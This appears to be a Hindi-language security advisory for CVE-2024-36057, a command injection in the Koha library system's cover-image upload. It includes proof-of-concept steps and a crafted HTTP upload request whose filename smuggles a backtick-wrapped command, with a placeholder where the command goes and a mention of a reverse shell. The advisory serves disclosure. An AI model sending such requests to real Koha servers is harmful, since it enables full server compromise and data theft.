CVE-2024-36057 - Koha लाइब्रेरी सॉफ़्टवेयर < 23.05.10 - OS कमांड इंजेक्शन

CVE ID: CVE-2024-36057
उत्पाद: Koha लाइब्रेरी सॉफ़्टवेयर
भेद्यता प्रकार: OS कमांड इंजेक्शन (CWE-78)
CVSS स्कोर: 9.8 (गंभीर)
प्रभावित संस्करण: 23.05.10 से नीचे
श्रेय: Karolis Narvilas

---

विवरण

Koha एक ओपन-सोर्स एकीकृत लाइब्रेरी सिस्टम है। tools/upload-cover-image.pl पर कवर इमेज अपलोड कार्यक्षमता में एक कमांड इंजेक्शन भेद्यता मौजूद है। एप्लिकेशन अपलोड किए गए ZIP आर्काइव को निकालने के लिए qx/unzip $filename -d $dirname/ का उपयोग करता है, बिना filename पैरामीटर को सैनिटाइज़ किए।

एक प्रमाणित उच्च-विशेषाधिकार वाला उपयोगकर्ता बैकटिक वर्णों वाला एक दुर्भावनापूर्ण filename युक्त ZIP फ़ाइल बना सकता है, जिससे मनमाने शेल कमांड इंजेक्ट किए जा सकते हैं, जो उपयोगकर्ता द्वारा "Process Images" पर क्लिक करने पर सर्वर-साइड निष्पादित होते हैं।

प्रभाव: एक रिमोट प्रमाणित हमलावर CVE-2024-36057 का शोषण करके अंतर्निहित सर्वर पर मनमाने OS कमांड निष्पादित कर सकता है, जिससे पूर्ण सिस्टम समझौता, डेटा चोरी, और स्थायी बैकडोर या रिवर्स शेल की स्थापना हो सकती है।

---

प्रूफ-ऑफ-कॉन्सेप्ट (PoC)

1. एक उच्च-विशेषाधिकार वाले उपयोगकर्ता के रूप में Koha में लॉग इन करें।
2. यहाँ नेविगेट करें: https://{domain}/cgi-bin/koha/tools/upload-cover-image.pl
3. एक सामान्य ZIP फ़ाइल अपलोड करें और Burp Suite जैसे इंटरसेप्टिंग प्रॉक्सी का उपयोग करके, filename को नीचे दिखाए अनुसार संपादित करें:

अनुरोध:

POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed

<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--

4. ZIP फ़ाइल सफलतापूर्वक अपलोड होने के बाद, "Process Images" पर क्लिक करें।
5. बैकटिक के भीतर इंजेक्ट किया गया कमांड सर्वर-साइड निष्पादित होता है। इस उदाहरण में, लक्ष्य मशीन पर एक रिवर्स शेल स्थापित किया जाता है।

---

संदर्भ

• MITRE - CVE-2024-36057
• Hacklantic